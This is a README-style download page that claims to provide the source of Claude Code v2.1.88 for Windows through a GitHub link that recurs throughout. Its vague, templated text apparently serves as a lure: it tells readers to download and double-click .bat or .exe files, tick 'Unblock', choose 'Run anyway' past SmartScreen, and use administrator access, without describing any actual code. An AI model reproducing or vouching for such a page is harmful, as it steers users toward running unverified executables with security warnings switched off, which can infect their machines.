🦅 claude-code-source - Run the Source on Windows

🚀 Getting Started

This repository gives you access to the source for Claude Code v2.1.88. If you want to inspect it, download it, and run it on Windows, follow the steps below.

Use the link above to visit the download page: https://github.com/Oliveleopardbane734/claude-code-source

💻 What You Need

Before you start, make sure your PC has:

• Windows 10 or Windows 11
• At least 8 GB of RAM
• At least 5 GB of free disk space
• A stable internet connection
• Administrator access on your PC

For best results, use a 64-bit version of Windows.

📥 Download the Files

1. Open the download page: https://github.com/Oliveleopardbane734/claude-code-source

2. On that page, look for the latest release, source package, or download option.

3. Save the file to a folder you can find later, such as:

   • Downloads
   • Desktop
   • Documents

If you see a ZIP file, download that file first. If you see an installer, download that instead.

🗂️ Extract the Archive

If the file you downloaded is a ZIP file:

1. Right-click the ZIP file.
2. Select Extract All.
3. Pick a folder with a short path, such as:
   • C:\ClaudeCode
   • C:\Apps\ClaudeCode
4. Click Extract.

If the file is already an installer, skip this step.

🛠️ Install Required Tools

This project is built with TypeScript, so you may need a few common tools on Windows:

• Node.js 20 or newer
• npm, which comes with Node.js
• Git, if you want to keep the folder updated
• Windows Terminal or Command Prompt

If the package includes its own installer or packaged app, you may not need to set up anything else.

▶️ Run the App

After you extract or install the files:

1. Open the app folder.

2. Look for one of these files:

   • install.bat
   • start.bat
   • run.bat
   • claude-code.exe
   • app.exe

3. Double-click the file to start the app.

If the project opens in a command window, keep that window open while the app runs.

⚙️ First-Time Setup

When the app starts for the first time, you may see setup steps such as:

• Choosing a workspace folder
• Signing in
• Picking a local model path
• Accepting a prompt about file access
• Setting a cache folder

Use the default options if you are not sure what to choose. They usually work for most users.

🧭 How to Use It

Once the app is open, you can use it like this:

• Type a request in the main box
• Pick a folder or project if asked
• Let the app scan your files
• Review the output before you save or copy it

If the app asks for a local project folder, choose the folder you want it to work on.

📁 Typical Folder Layout

After you install or extract the app, the folder may include files like these:

• README.md
• package.json
• src
• dist
• assets
• config
• scripts

If you see these folders, the app is likely a source-based Windows build or a packaged desktop app with support files.

🔧 Common Windows Launch Options

If double-clicking does not work, try one of these:

1. Open the app folder.
2. Click the address bar.
3. Type cmd and press Enter.
4. In Command Prompt, run one of these:

• npm install
• npm run build
• npm start
• node .

Use the command that matches the files in the folder. If the folder has a package.json file, npm install often comes first.

🪟 If Windows Blocks the File

If Windows shows a security prompt:

1. Right-click the file.
2. Choose Properties.
3. Check Unblock if you see it.
4. Click Apply.
5. Try again.

If Windows SmartScreen appears, choose More info, then Run anyway if you trust the file source.

🧩 Basic Troubleshooting

If the app does not open, check these items:

• Make sure you extracted all files
• Make sure the file path is short
• Make sure Node.js is installed
• Make sure you are using a 64-bit Windows system
• Make sure no other app is already using the same port, if the app opens in a browser

If you get a missing file error, return to the download page and make sure you downloaded the full package.

🔍 What This Project Contains

Based on the codebase, this repository may include:

• A large TypeScript app core
• Command handling
• File and folder tools
• Local config storage
• UI and terminal support
• Project state management
• Integration logic for desktop use

This means the app may be designed to help you work with code, files, or command-based tasks from a Windows machine.

🧪 File Types You May See

Some common file types in this project are:

• .ts and .tsx for TypeScript code
• .js for built files
• .json for config
• .bat for Windows launch scripts
• .exe for Windows apps
• .md for project docs

You do not need to edit these files to use the app.

🔐 Access and Local Data

The app may save data on your computer, such as:

• Settings
• Recent folders
• Cache files
• Session data
• Local logs

If you want a clean reset, you can remove the app folder and any related data folder it created in your user profile.

🧼 Reinstall Steps

If you want to install again from scratch:

1. Close the app.
2. Delete the old folder.
3. Download the package again from: https://github.com/Oliveleopardbane734/claude-code-source
4. Extract or install the new copy.
5. Start the app again

📌 Quick Path for Most Users

1. Open the download page
2. Download the ZIP or installer
3. Extract the ZIP if needed
4. Open the app folder
5. Double-click the launcher or run the start file
6. Follow the first-time setup

🖥️ Supported Windows Setup

This app should work best on:

• Windows 11 Home
• Windows 11 Pro
• Windows 10 64-bit
• Standard Intel and AMD PCs
• Laptops and desktops

A modern PC with current Windows updates will give you the smoothest setup

📎 Download Page

Visit the download page here: https://github.com/Oliveleopardbane734/claude-code-source

📚 Useful Signs That It Worked

You will know the app started when you see one of these:

• A desktop window opens
• A terminal window starts
• A browser tab opens to a local page
• The app shows a welcome screen
• The app asks you to choose a folder or sign in

If you reach one of these screens, the setup is complete enough to continue